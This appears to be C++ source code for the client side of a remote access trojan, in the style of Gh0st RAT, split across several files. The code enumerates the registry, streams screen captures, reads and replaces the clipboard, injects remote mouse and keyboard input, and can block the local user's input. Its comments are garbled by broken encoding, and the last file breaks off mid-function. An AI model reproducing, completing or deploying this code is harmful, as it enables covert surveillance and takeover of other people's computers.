#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "RegisterOperation.h"
class CRegisterManager : public CManager
{
public:
CRegisterManager(IOCPClient* ClientObject, int n);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CRegisterManager::Find(char bToken, char *szPath);
};
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

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// RegisterOperation.cpp: implementation of the RegisterOperation class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "RegisterOperation.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
RegisterOperation::RegisterOperation(char bToken)
{
switch(bToken){
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegisterOperation::~RegisterOperation()
{
}
char* RegisterOperation::FindPath()
{
char *szBuffer=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
/*<2A><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD> User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14
&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
//һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
KeySize=KeyMaxLen+1;
if(KeyCount>0&&KeySize>1){
int Size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
ZeroMemory(szBuffer,DataSize);
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
char * szTemp=new char[KeySize];
for(dwIndex=0;dwIndex<KeyCount;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
{
ZeroMemory(szTemp,KeySize);
DWORD i=KeySize; //21
RegEnumKeyEx(hKey,dwIndex,szTemp,&i,NULL,NULL,NULL,NULL);
strcpy(szBuffer+dwIndex*KeySize+Size,szTemp);
}
delete[] szTemp;
RegCloseKey(hKey);
}
}
return szBuffer;
}
void RegisterOperation::SetPath(char *szPath)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,szPath);
}
char* RegisterOperation::FindKey()
{
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *szBuffer=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,
&KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
if(NameCount>0&&MaxDateLen>0)
{
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCount; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
int msgsize=sizeof(REGMSG);
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
DWORD size=sizeof(REGMSG)+
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
szBuffer = (char*)LocalAlloc(LPTR, size);
ZeroMemory(szBuffer,size);
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
char *szTemp=szBuffer+msgsize+1;
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueDate,DataSize);
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
if(Type==REG_SZ)
{
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD)
{
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY)
{
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ)
{
szTemp[0]=MREG_EXPAND_SZ;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);
szTemp+=msg.size;
memcpy(szTemp,szValueDate,msg.valsize);
szTemp+=msg.valsize;
}
free(szValueName);
free(szValueDate);
}
}
return szBuffer;
}

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// RegisterOperation.h: interface for the RegisterOperation class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
#define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class RegisterOperation
{
public:
RegisterOperation(char bToken);
virtual ~RegisterOperation();
char* RegisterOperation::FindPath();
HKEY MKEY;
char KeyPath[MAX_PATH];
void RegisterOperation::SetPath(char *szPath);
char* RegisterOperation::FindKey();
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)

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// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
m_ScreenSpyObject = new CScreenSpy(16);
if (m_ScreenSpyObject==NULL)
{
return;
}
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
This->SendFirstScreen();
while (This->m_bIsWorking)
{
This->SendNextScreen();
}
cout<<"ScreenWorkThread Exit"<<endl;
return 0;
}
VOID CScreenManager::SendBitMapInfor()
{
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); //<2F><>С
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
CScreenManager::~CScreenManager()
{
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL)
{
CloseHandle(m_hWorkThread);
}
delete[] m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
case COMMAND_SCREEN_CONTROL:
{
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
BlockInput(m_bIsBlockInput); //<2F>ٻظ<D9BB><D8B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
BlockInput(m_bIsBlockInput);
break;
}
case COMMAND_SCREEN_GET_CLIPBOARD: //<2F><><EFBFBD><EFBFBD>
{
SendClientClipboard();
break;
}
case COMMAND_SCREEN_SET_CLIPBOARD:
{
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
break;
}
}
}
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal);
GlobalFree(hGlobal);
}
CloseClipboard();
}
VOID CScreenManager::SendClientClipboard()
{
if (!::OpenClipboard(NULL)) //<2F>򿪼<EFBFBD><F2BFAABC>а<EFBFBD><D0B0>
return;
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
if (hGlobal == NULL)
{
::CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
VOID CScreenManager::SendFirstScreen()
{
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
BOOL bRet = FALSE;
LPVOID FirstScreenData = NULL;
FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
if (FirstScreenData == NULL)
{
return;
}
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
if (szBuffer == NULL)
{
return;
}
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
delete [] szBuffer;
szBuffer = NULL;
}
VOID CScreenManager::SendNextScreen()
{
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
LPVOID NextScreenData = NULL;
ULONG ulNextSendLength = 0;
NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData==NULL)
{
return;
}
ulNextSendLength += 1;
LPBYTE szBuffer = new BYTE[ulNextSendLength];
if (szBuffer == NULL)
{
return;
}
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength);
delete [] szBuffer;
szBuffer = NULL;
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (ulLength % sizeof(MSG) != 0)
return;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG ulMsgCount = ulLength / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//1ruan kdjfkdf gan
for (int i = 0; i < ulMsgCount; i++) //1
{
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
switch (Msg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point)); //???
}
break;
default:
break;
}
switch(Msg->message) //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}

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// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
class IOCPClient;
class CScreenManager : public CManager
{
public:
CScreenManager(IOCPClient* ClientObject, int n);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID CScreenManager::SendBitMapInfor();
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
CScreenSpy* m_ScreenSpyObject;
VOID CScreenManager::SendFirstScreen();
VOID CScreenManager::SendNextScreen();
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
VOID CScreenManager::SendClientClipboard();
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength);
};
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)

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// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenSpy.h"
#include "Common.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
{
m_bAlgorithm = ALGORITHM_DIFF;
m_dwBitBltRop = SRCCOPY;
m_BitmapInfor_Full = NULL;
switch (ulbiBitCount)
{
case 16:
case 32:
m_ulbiBitCount = ulbiBitCount;
break;
default:
m_ulbiBitCount = 16;
}
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
m_BitmapData_Full = NULL;
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_RectBufferOffset = 0;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
}
CScreenSpy::~CScreenSpy()
{
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
if (m_hFullMemDC!=NULL)
{
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL)
{
m_BitmapData_Full = NULL;
}
m_hFullMemDC = NULL;
}
if (m_hDiffMemDC!=NULL)
{
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
::DeleteObject(m_DiffBitmapHandle);
if (m_DiffBitmapData_Full!=NULL)
{
m_DiffBitmapData_Full = NULL;
}
}
if (m_BitmapInfor_Full!=NULL)
{
delete[] m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
if (m_RectBuffer)
{
delete[] m_RectBuffer;
m_RectBuffer = NULL;
}
m_RectBufferOffset = 0;
}
ULONG CScreenSpy::GetBISize()
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::GetBIData()
{
return m_BitmapInfor_Full;
}
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = ulFullWidth; //1080
BitmapInforHeader->biHeight = ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
return BitmapInfor;
}
LPVOID CScreenSpy::GetFirstScreenData()
{
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>
::BitBlt(m_hFullMemDC, 0, 0,
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
}
ULONG CScreenSpy::GetFirstScreenLength()
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
if (ulNextSendLength == NULL || m_RectBuffer == NULL)
{
return NULL;
}
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_RectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
m_BitmapInfor_Full->bmiHeader.biHeight);
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset +
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
return NULL;
}
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
ULONG ulJumpLine = 50;
ULONG ulJumpSleep = ulJumpLine / 10;
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump)
{
ULONG ulv1 = ulHeight - i;
if (ulv1 > ulJumpLine)
ulToJump = ulJumpLine;
else
ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
Sleep(ulJumpSleep);
}
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength)
{
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1, p2;
p1 = (LPDWORD)CompareDestData;
p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0;
ULONG ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++)
{
if (*p1 == *p2)
continue;
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
ulv1 = ulszBufferOffset + sizeof(int); //4
ulv2 = ulv1 + sizeof(int); //8
